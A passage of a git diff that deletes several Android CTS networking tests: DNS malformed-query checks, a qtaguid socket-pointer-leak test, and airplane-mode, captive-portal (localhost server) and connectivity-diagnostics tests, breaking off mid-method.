-    // Empty string to create BLOB and query, we will get empty result and rcode = 0
-    // on DNSTLS.
-    int fd = android_res_nquery(
-            NETWORK_UNSPECIFIED, "", ns_c_in, ns_t_a, 0);
-    EXPECT_GE(fd, 0);
-    expectAnswersValid(fd, AF_INET, ns_r_noerror);
-
-    std::string exceedingLabelQuery = "www." + std::string(70, 'g') + ".com";
-    std::string exceedingDomainQuery = "www." + std::string(255, 'g') + ".com";
-
-    fd = android_res_nquery(NETWORK_UNSPECIFIED,
-            exceedingLabelQuery.c_str(), ns_c_in, ns_t_a, 0);
-    EXPECT_EQ(-EMSGSIZE, fd);
-    fd = android_res_nquery(NETWORK_UNSPECIFIED,
-            exceedingDomainQuery.c_str(), ns_c_in, ns_t_a, 0);
-    EXPECT_EQ(-EMSGSIZE, fd);
-}
-
-TEST (NativeDnsAsyncTest, Async_Send_MALFORMED) {
-    uint8_t buf[10] = {};
-    // empty BLOB
-    int fd = android_res_nsend(NETWORK_UNSPECIFIED, buf, 10, 0);
-    EXPECT_GE(fd, 0);
-    expectAnswersNotValid(fd, -EINVAL);
-
-    std::vector<uint8_t> largeBuf(2 * MAXPACKET, 0);
-    // A buffer larger than 8KB
-    fd = android_res_nsend(
-            NETWORK_UNSPECIFIED, largeBuf.data(), largeBuf.size(), 0);
-    EXPECT_EQ(-EMSGSIZE, fd);
-
-    // 5000 bytes filled with 0. This returns EMSGSIZE because FrameworkListener limits the size of
-    // commands to 4096 bytes.
-    fd = android_res_nsend(NETWORK_UNSPECIFIED, largeBuf.data(), 5000, 0);
-    EXPECT_EQ(-EMSGSIZE, fd);
-
-    // 500 bytes filled with 0
-    fd = android_res_nsend(NETWORK_UNSPECIFIED, largeBuf.data(), 500, 0);
-    EXPECT_GE(fd, 0);
-    expectAnswersNotValid(fd, -EINVAL);
-
-    // 5000 bytes filled with 0xFF
-    std::vector<uint8_t> ffBuf(5000, 0xFF);
-    fd = android_res_nsend(
-            NETWORK_UNSPECIFIED, ffBuf.data(), ffBuf.size(), 0);
-    EXPECT_EQ(-EMSGSIZE, fd);
-
-    // 500 bytes filled with 0xFF
-    fd = android_res_nsend(NETWORK_UNSPECIFIED, ffBuf.data(), 500, 0);
-    EXPECT_GE(fd, 0);
-    expectAnswersNotValid(fd, -EINVAL);
-}
diff --git a/tests/tests/net/native/qtaguid/Android.bp b/tests/tests/net/native/qtaguid/Android.bp
deleted file mode 100644
index 7c6e19f..0000000
--- a/tests/tests/net/native/qtaguid/Android.bp
+++ /dev/null
@@ -1,52 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-// Build the unit tests.
-
-cc_test {
-    name: "CtsNativeNetTestCases",
-
-    compile_multilib: "both",
-    multilib: {
-        lib32: {
-            suffix: "32",
-        },
-        lib64: {
-            suffix: "64",
-        },
-    },
-
-    srcs: ["src/NativeQtaguidTest.cpp"],
-
-    shared_libs: [
-        "libutils",
-        "liblog",
-    ],
-
-    static_libs: [
-        "libgtest",
-        "libqtaguid",
-    ],
-
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-    ],
-
-    cflags: [
-        "-Werror",
-        "-Wall",
-    ],
-
-}
diff --git a/tests/tests/net/native/qtaguid/AndroidTest.xml b/tests/tests/net/native/qtaguid/AndroidTest.xml
deleted file mode 100644
index fa4b2cf..0000000
--- a/tests/tests/net/native/qtaguid/AndroidTest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Native Network xt_qtaguid test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="cleanup" value="true" />
-        <option name="push" value="CtsNativeNetTestCases->/data/local/tmp/CtsNativeNetTestCases" />
-        <option name="append-bitness" value="true" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.GTest" >
-        <option name="native-test-device-path" value="/data/local/tmp" />
-        <option name="module-name" value="CtsNativeNetTestCases" />
-        <option name="runtime-hint" value="1m" />
-    </test>
-</configuration>
diff --git a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
deleted file mode 100644
index 7dc6240..0000000
--- a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <arpa/inet.h>
-#include <error.h>
-#include <errno.h>
-#include <inttypes.h>
-#include <fcntl.h>
-#include <string.h>
-#include <sys/socket.h>
-
-#include <gtest/gtest.h>
-#include <qtaguid/qtaguid.h>
-
-int canAccessQtaguidFile() {
-    int fd = open("/proc/net/xt_qtaguid/ctrl", O_RDONLY | O_CLOEXEC);
-    close(fd);
-    return fd != -1;
-}
-
-#define SKIP_IF_QTAGUID_NOT_SUPPORTED()                                                       \
-  do {                                                                                        \
-    int res = canAccessQtaguidFile();                                                      \
-    ASSERT_LE(0, res);                                                                        \
-    if (!res) {                                                                               \
-          GTEST_LOG_(INFO) << "This test is skipped since kernel may not have the module\n";  \
-          return;                                                                             \
-    }                                                                                         \
-  } while (0)
-
-int getCtrlSkInfo(int tag, uid_t uid, uint64_t* sk_addr, int* ref_cnt) {
-    FILE *fp;
-    fp = fopen("/proc/net/xt_qtaguid/ctrl", "r");
-    if (!fp)
-        return -ENOENT;
-    uint64_t full_tag = (uint64_t)tag << 32 | uid;
-    char pattern[40];
-    snprintf(pattern, sizeof(pattern), " tag=0x%" PRIx64 " (uid=%" PRIu32 ")", full_tag, uid);
-
-    size_t len;
-    char *line_buffer = NULL;
-    while(getline(&line_buffer, &len, fp) != -1) {
-        if (strstr(line_buffer, pattern) == NULL)
-            continue;
-        int res;
-        pid_t dummy_pid;
-        uint64_t k_tag;
-        uint32_t k_uid;
-        const int TOTAL_PARAM = 5;
-        res = sscanf(line_buffer, "sock=%" PRIx64 " tag=0x%" PRIx64 " (uid=%" PRIu32 ") "
-                     "pid=%u f_count=%u", sk_addr, &k_tag, &k_uid,
-                     &dummy_pid, ref_cnt);
-        if (!(res == TOTAL_PARAM && k_tag == full_tag && k_uid == uid))
-            return -EINVAL;
-        free(line_buffer);
-        return 0;
-    }
-    free(line_buffer);
-    return -ENOENT;
-}
-
-void checkNoSocketPointerLeaks(int family) {
-    int sockfd = socket(family, SOCK_STREAM, 0);
-    uid_t uid = getuid();
-    int tag = arc4random();
-    int ref_cnt;
-    uint64_t sk_addr;
-    uint64_t expect_addr = 0;
-
-    EXPECT_EQ(0, legacy_tagSocket(sockfd, tag, uid));
-    EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
-    EXPECT_EQ(expect_addr, sk_addr);
-    close(sockfd);
-    EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
-}
-
-TEST (NativeQtaguidTest, close_socket_without_untag) {
-    SKIP_IF_QTAGUID_NOT_SUPPORTED();
-
-    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
-    uid_t uid = getuid();
-    int tag = arc4random();
-    int ref_cnt;
-    uint64_t dummy_sk;
-    EXPECT_EQ(0, legacy_tagSocket(sockfd, tag, uid));
-    EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
-    EXPECT_EQ(2, ref_cnt);
-    close(sockfd);
-    EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
-}
-
-TEST (NativeQtaguidTest, close_socket_without_untag_ipv6) {
-    SKIP_IF_QTAGUID_NOT_SUPPORTED();
-
-    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
-    uid_t uid = getuid();
-    int tag = arc4random();
-    int ref_cnt;
-    uint64_t dummy_sk;
-    EXPECT_EQ(0, legacy_tagSocket(sockfd, tag, uid));
-    EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
-    EXPECT_EQ(2, ref_cnt);
-    close(sockfd);
-    EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
-}
-
-TEST (NativeQtaguidTest, no_socket_addr_leak) {
-  SKIP_IF_QTAGUID_NOT_SUPPORTED();
-
-  checkNoSocketPointerLeaks(AF_INET);
-  checkNoSocketPointerLeaks(AF_INET6);
-}
-
-int main(int argc, char **argv) {
-      testing::InitGoogleTest(&argc, argv);
-      return RUN_ALL_TESTS();
-}
diff --git a/tests/tests/net/src/android/net/cts/AirplaneModeTest.java b/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
deleted file mode 100644
index 524e549..0000000
--- a/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.lang.Thread;
-
-@AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
-public class AirplaneModeTest extends AndroidTestCase {
-    private static final String TAG = "AirplaneModeTest";
-    private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
-    private static final String FEATURE_WIFI = "android.hardware.wifi";
-    private static final int TIMEOUT_MS = 10 * 1000;
-    private boolean mHasFeature;
-    private Context mContext;
-    private ContentResolver resolver;
-
-    public void setup() {
-        mContext= getContext();
-        resolver = mContext.getContentResolver();
-        mHasFeature = (mContext.getPackageManager().hasSystemFeature(FEATURE_BLUETOOTH)
-                       || mContext.getPackageManager().hasSystemFeature(FEATURE_WIFI));
-    }
-
-    public void testAirplaneMode() {
-        setup();
-        if (!mHasFeature) {
-            Log.i(TAG, "The device doesn't support network bluetooth or wifi feature");
-            return;
-        }
-
-        for (int testCount = 0; testCount < 2; testCount++) {
-            if (!doOneTest()) {
-                fail("Airplane mode failed to change in " + TIMEOUT_MS + "msec");
-                return;
-            }
-        }
-    }
-
-    private boolean doOneTest() {
-        boolean airplaneModeOn = isAirplaneModeOn();
-        setAirplaneModeOn(!airplaneModeOn);
-
-        try {
-            Thread.sleep(TIMEOUT_MS);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Sleep time interrupted.", e);
-        }
-
-        if (airplaneModeOn == isAirplaneModeOn()) {
-            return false;
-        }
-        return true;
-    }
-
-    private void setAirplaneModeOn(boolean enabling) {
-        // Change the system setting for airplane mode
-        Settings.Global.putInt(resolver, Settings.Global.AIRPLANE_MODE_ON, enabling ? 1 : 0);
-    }
-
-    private boolean isAirplaneModeOn() {
-        // Read the system setting for airplane mode
-        return Settings.Global.getInt(mContext.getContentResolver(),
-                                      Settings.Global.AIRPLANE_MODE_ON, 0) != 0;
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt b/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
deleted file mode 100644
index eb5048f..0000000
--- a/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
+++ /dev/null
@@ -1,194 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts
-
-import android.Manifest.permission.CONNECTIVITY_INTERNAL
-import android.Manifest.permission.NETWORK_SETTINGS
-import android.Manifest.permission.READ_DEVICE_CONFIG
-import android.content.pm.PackageManager.FEATURE_TELEPHONY
-import android.content.pm.PackageManager.FEATURE_WIFI
-import android.net.ConnectivityManager
-import android.net.ConnectivityManager.NetworkCallback
-import android.net.Network
-import android.net.NetworkCapabilities
-import android.net.NetworkCapabilities.NET_CAPABILITY_CAPTIVE_PORTAL
-import android.net.NetworkCapabilities.TRANSPORT_WIFI
-import android.net.NetworkRequest
-import android.net.Uri
-import android.net.cts.NetworkValidationTestUtil.clearValidationTestUrlsDeviceConfig
-import android.net.cts.NetworkValidationTestUtil.setHttpUrlDeviceConfig
-import android.net.cts.NetworkValidationTestUtil.setHttpsUrlDeviceConfig
-import android.net.cts.NetworkValidationTestUtil.setUrlExpirationDeviceConfig
-import android.net.cts.util.CtsNetUtils
-import android.net.util.NetworkStackUtils.TEST_CAPTIVE_PORTAL_HTTPS_URL
-import android.net.util.NetworkStackUtils.TEST_CAPTIVE_PORTAL_HTTP_URL
-import android.net.wifi.WifiManager
-import android.os.Build
-import android.platform.test.annotations.AppModeFull
-import android.provider.DeviceConfig
-import android.provider.DeviceConfig.NAMESPACE_CONNECTIVITY
-import android.text.TextUtils
-import androidx.test.platform.app.InstrumentationRegistry.getInstrumentation
-import androidx.test.runner.AndroidJUnit4
-import com.android.testutils.TestHttpServer
-import com.android.testutils.TestHttpServer.Request
-import com.android.testutils.isDevSdkInRange
-import com.android.testutils.runAsShell
-import fi.iki.elonen.NanoHTTPD.Response.Status
-import junit.framework.AssertionFailedError
-import org.junit.After
-import org.junit.Assume.assumeTrue
-import org.junit.Before
-import org.junit.runner.RunWith
-import java.util.concurrent.CompletableFuture
-import java.util.concurrent.TimeUnit
-import java.util.concurrent.TimeoutException
-import kotlin.test.Test
-import kotlin.test.assertNotEquals
-import kotlin.test.assertNotNull
-import kotlin.test.assertTrue
-
-private const val TEST_HTTPS_URL_PATH = "/https_path"
-private const val TEST_HTTP_URL_PATH = "/http_path"
-private const val TEST_PORTAL_URL_PATH = "/portal_path"
-
-private const val LOCALHOST_HOSTNAME = "localhost"
-
-// Re-connecting to the AP, obtaining an IP address, revalidating can take a long time
-private const val WIFI_CONNECT_TIMEOUT_MS = 120_000L
-private const val TEST_TIMEOUT_MS = 10_000L
-
-private fun <T> CompletableFuture<T>.assertGet(timeoutMs: Long, message: String): T {
-    try {
-        return get(timeoutMs, TimeUnit.MILLISECONDS)
-    } catch (e: TimeoutException) {
-        throw AssertionFailedError(message)
-    }
-}
-
-@AppModeFull(reason = "WRITE_DEVICE_CONFIG permission can't be granted to instant apps")
-@RunWith(AndroidJUnit4::class)
-class CaptivePortalTest {
-    private val context: android.content.Context by lazy { getInstrumentation().context }
-    private val wm by lazy { context.getSystemService(WifiManager::class.java) }
-    private val cm by lazy { context.getSystemService(ConnectivityManager::class.java) }
-    private val pm by lazy { context.packageManager }
-    private val utils by lazy { CtsNetUtils(context) }
-
-    private val server = TestHttpServer("localhost")
-
-    @Before
-    fun setUp() {
-        runAsShell(READ_DEVICE_CONFIG) {
-            // Verify that the test URLs are not normally set on the device, but do not fail if the
-            // test URLs are set to what this test uses (URLs on localhost), in case the test was
-            // interrupted manually and rerun.
-            assertEmptyOrLocalhostUrl(TEST_CAPTIVE_PORTAL_HTTPS_URL)
-            assertEmptyOrLocalhostUrl(TEST_CAPTIVE_PORTAL_HTTP_URL)
-        }
-        clearValidationTestUrlsDeviceConfig()
-        server.start()
-    }
-
-    @After
-    fun tearDown() {
-        clearValidationTestUrlsDeviceConfig()
-        if (pm.hasSystemFeature(FEATURE_WIFI)) {
-            reconnectWifi()
-        }
-        server.stop()
-    }
-
-    private fun assertEmptyOrLocalhostUrl(urlKey: String) {
-        val url = DeviceConfig.getProperty(NAMESPACE_CONNECTIVITY, urlKey)
-        assertTrue(TextUtils.isEmpty(url) || LOCALHOST_HOSTNAME == Uri.parse(url).host,
-                "$urlKey must not be set in production scenarios (current value: $url)")
-    }
-
-    @Test
-    fun testCaptivePortalIsNotDefaultNetwork() {
-        assumeTrue(pm.hasSystemFeature(FEATURE_TELEPHONY))
-        assumeTrue(pm.hasSystemFeature(FEATURE_WIFI))
-        utils.ensureWifiConnected()
-        utils.connectToCell()
-
-        // Have network validation use a local server that serves a HTTPS error / HTTP redirect
-        server.addResponse(Request(TEST_PORTAL_URL_PATH), Status.OK,
-                content = "Test captive portal content")
-        server.addResponse(Request(TEST_HTTPS_URL_PATH), Status.INTERNAL_ERROR)
-        server.addResponse(Request(TEST_HTTP_URL_PATH), Status.REDIRECT,
-                locationHeader = makeUrl(TEST_PORTAL_URL_PATH))
-        setHttpsUrlDeviceConfig(makeUrl(TEST_HTTPS_URL_PATH))
-        setHttpUrlDeviceConfig(makeUrl(TEST_HTTP_URL_PATH))
-        // URL expiration needs to be in the next 10 minutes
-        setUrlExpirationDeviceConfig(System.currentTimeMillis() + TimeUnit.MINUTES.toMillis(9))
-
-        // Wait for a captive portal to be detected on the network
-        val wifiNetworkFuture = CompletableFuture<Network>()
-        val wifiCb = object : NetworkCallback() {
-            override fun onCapabilitiesChanged(
-                network: Network,
-                nc: NetworkCapabilities
-            ) {
-                if (nc.hasCapability(NET_CAPABILITY_CAPTIVE_PORTAL)) {
-                    wifiNetworkFuture.complete(network)
-                }
-            }
-        }
-        cm.requestNetwork(NetworkRequest.Builder().addTransportType(TRANSPORT_WIFI).build(), wifiCb)
-
-        try {
-            reconnectWifi()
-            val network = wifiNetworkFuture.assertGet(WIFI_CONNECT_TIMEOUT_MS,
-                    "Captive portal not detected after ${WIFI_CONNECT_TIMEOUT_MS}ms")
-
-            val wifiDefaultMessage = "Wifi should not be the default network when a captive " +
-                    "portal was detected and another network (mobile data) can provide internet " +
-                    "access."
-            assertNotEquals(network, cm.activeNetwork, wifiDefaultMessage)
-
-            val startPortalAppPermission =
-                    if (isDevSdkInRange(0, Build.VERSION_CODES.Q)) CONNECTIVITY_INTERNAL
-                    else NETWORK_SETTINGS
-            runAsShell(startPortalAppPermission) { cm.startCaptivePortalApp(network) }
-
-            // Expect the portal content to be fetched at some point after detecting the portal.
-            // Some implementations may fetch the URL before startCaptivePortalApp is called.
-            assertNotNull(server.requestsRecord.poll(TEST_TIMEOUT_MS, pos = 0) {
-                it.path == TEST_PORTAL_URL_PATH
-            }, "The captive portal login page was still not fetched ${TEST_TIMEOUT_MS}ms " +
-                    "after startCaptivePortalApp.")
-
-            assertNotEquals(network, cm.activeNetwork, wifiDefaultMessage)
-        } finally {
-            cm.unregisterNetworkCallback(wifiCb)
-            server.stop()
-            // disconnectFromCell should be called after connectToCell
-            utils.disconnectFromCell()
-        }
-    }
-
-    /**
-     * Create a URL string that, when fetched, will hit the test server with the given URL [path].
-     */
-    private fun makeUrl(path: String) = "http://localhost:${server.listeningPort}" + path
-
-    private fun reconnectWifi() {
-        utils.ensureWifiDisconnected(null /* wifiNetworkToCheck */)
-        utils.ensureWifiConnected()
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
deleted file mode 100644
index 54509cd..0000000
--- a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
+++ /dev/null
@@ -1,576 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
-import static android.net.ConnectivityDiagnosticsManager.ConnectivityDiagnosticsCallback;
-import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport;
-import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.KEY_NETWORK_PROBES_ATTEMPTED_BITMASK;
-import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.KEY_NETWORK_PROBES_SUCCEEDED_BITMASK;
-import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.KEY_NETWORK_VALIDATION_RESULT;
-import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.NETWORK_VALIDATION_RESULT_VALID;
-import static android.net.ConnectivityDiagnosticsManager.DataStallReport;
-import static android.net.ConnectivityDiagnosticsManager.DataStallReport.DETECTION_METHOD_DNS_EVENTS;
-import static android.net.ConnectivityDiagnosticsManager.DataStallReport.DETECTION_METHOD_TCP_METRICS;
-import static android.net.ConnectivityDiagnosticsManager.DataStallReport.KEY_DNS_CONSECUTIVE_TIMEOUTS;
-import static android.net.ConnectivityDiagnosticsManager.DataStallReport.KEY_TCP_METRICS_COLLECTION_PERIOD_MILLIS;
-import static android.net.ConnectivityDiagnosticsManager.DataStallReport.KEY_TCP_PACKET_FAIL_RATE;
-import static android.net.ConnectivityDiagnosticsManager.persistableBundleEquals;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
-import static android.net.NetworkCapabilities.TRANSPORT_TEST;
-import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
-
-import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.annotation.NonNull;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityDiagnosticsManager;
-import android.net.ConnectivityManager;
-import android.net.LinkAddress;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.TestNetworkInterface;
-import android.net.TestNetworkManager;
-import android.os.Binder;
-import android.os.Build;
-import android.os.IBinder;
-import android.os.ParcelFileDescriptor;
-import android.os.PersistableBundle;
-import android.os.Process;
-import android.platform.test.annotations.AppModeFull;
-import android.telephony.CarrierConfigManager;
-import android.telephony.SubscriptionManager;
-import android.telephony.TelephonyManager;
-import android.util.Pair;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.internal.telephony.uicc.IccUtils;
-import com.android.internal.util.ArrayUtils;
-import com.android.net.module.util.ArrayTrackRecord;
-import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
-import com.android.testutils.DevSdkIgnoreRunner;
-import com.android.testutils.SkipPresubmit;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.security.MessageDigest;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(DevSdkIgnoreRunner.class)
-@IgnoreUpTo(Build.VERSION_CODES.Q) // ConnectivityDiagnosticsManager did not exist in Q
-@AppModeFull(reason = "CHANGE_NETWORK_STATE, MANAGE_TEST_NETWORKS not grantable to instant apps")
-public class ConnectivityDiagnosticsManagerTest {
-    private static final int CALLBACK_TIMEOUT_MILLIS = 5000;
-    private static final int NO_CALLBACK_INVOKED_TIMEOUT = 500;
-    private static final long TIMESTAMP = 123456789L;
-    private static final int DNS_CONSECUTIVE_TIMEOUTS = 5;
-    private static final int COLLECTION_PERIOD_MILLIS = 5000;
-    private static final int FAIL_RATE_PERCENTAGE = 100;
-    private static final int UNKNOWN_DETECTION_METHOD = 4;
-    private static final int FILTERED_UNKNOWN_DETECTION_METHOD = 0;
-    private static final int CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT = 5000;
-    private static final int DELAY_FOR_ADMIN_UIDS_MILLIS = 2000;
-
-    private static final Executor INLINE_EXECUTOR = x -> x.run();
-
-    private static final NetworkRequest TEST_NETWORK_REQUEST =
-            new NetworkRequest.Builder()
-                    .addTransportType(TRANSPORT_TEST)
-                    .removeCapability(NET_CAPABILITY_TRUSTED)
-                    .removeCapability(NET_CAPABILITY_NOT_VPN)
-                    .build();
-
-    private static final String SHA_256 = "SHA-256";
-
-    private static final NetworkRequest CELLULAR_NETWORK_REQUEST =
-            new NetworkRequest.Builder()
-                    .addTransportType(TRANSPORT_CELLULAR)
-                    .addCapability(NET_CAPABILITY_INTERNET)
-                    .build();
-
-    private static final IBinder BINDER = new Binder();
-
-    private Context mContext;
-    private ConnectivityManager mConnectivityManager;
-    private ConnectivityDiagnosticsManager mCdm;
-    private CarrierConfigManager mCarrierConfigManager;
-    private PackageManager mPackageManager;
-    private TelephonyManager mTelephonyManager;
-
-    // Callback used to keep TestNetworks up when there are no other outstanding NetworkRequests
-    // for it.
-    private TestNetworkCallback mTestNetworkCallback;
-    private Network mTestNetwork;
-    private ParcelFileDescriptor mTestNetworkFD;
-
-    private List<TestConnectivityDiagnosticsCallback> mRegisteredCallbacks;
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getContext();
-        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
-        mCdm = mContext.getSystemService(ConnectivityDiagnosticsManager.class);
-        mCarrierConfigManager = mContext.getSystemService(CarrierConfigManager.class);
-        mPackageManager = mContext.getPackageManager();
-        mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
-
-        mTestNetworkCallback = new TestNetworkCallback();
-        mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, mTestNetworkCallback);
-
-        mRegisteredCallbacks = new ArrayList<>();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        mConnectivityManager.unregisterNetworkCallback(mTestNetworkCallback);
-        if (mTestNetwork != null) {
-            runWithShellPermissionIdentity(() -> {
-                final TestNetworkManager tnm = mContext.getSystemService(TestNetworkManager.class);
-                tnm.teardownTestNetwork(mTestNetwork);
-            });
-            mTestNetwork = null;
-        }
-
-        if (mTestNetworkFD != null) {
-            mTestNetworkFD.close();
-            mTestNetworkFD = null;
-        }
-
-        for (TestConnectivityDiagnosticsCallback cb : mRegisteredCallbacks) {
-            mCdm.unregisterConnectivityDiagnosticsCallback(cb);
-        }
-    }
-
-    @Test
-    public void testRegisterConnectivityDiagnosticsCallback() throws Exception {
-        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
-        mTestNetwork = mTestNetworkCallback.waitForAvailable();
-
-        final TestConnectivityDiagnosticsCallback cb =
-                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
-
-        final String interfaceName =
-                mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
-
-        cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
-        cb.assertNoCallback();
-    }
-
-    @SkipPresubmit(reason = "Flaky: b/159718782; add to presubmit after fixing")
-    @Test
-    public void testRegisterCallbackWithCarrierPrivileges() throws Exception {
-        assumeTrue(mPackageManager.hasSystemFeature(FEATURE_TELEPHONY));
-
-        final int subId = SubscriptionManager.getDefaultSubscriptionId();
-        if (subId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-            fail("Need an active subscription. Please ensure that the device has working mobile"
-                    + " data.");
-        }
-
-        final CarrierConfigReceiver carrierConfigReceiver = new CarrierConfigReceiver(subId);
-        mContext.registerReceiver(
-                carrierConfigReceiver,
-                new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED));
-
-        final TestNetworkCallback testNetworkCallback = new TestNetworkCallback();
-
-        try {
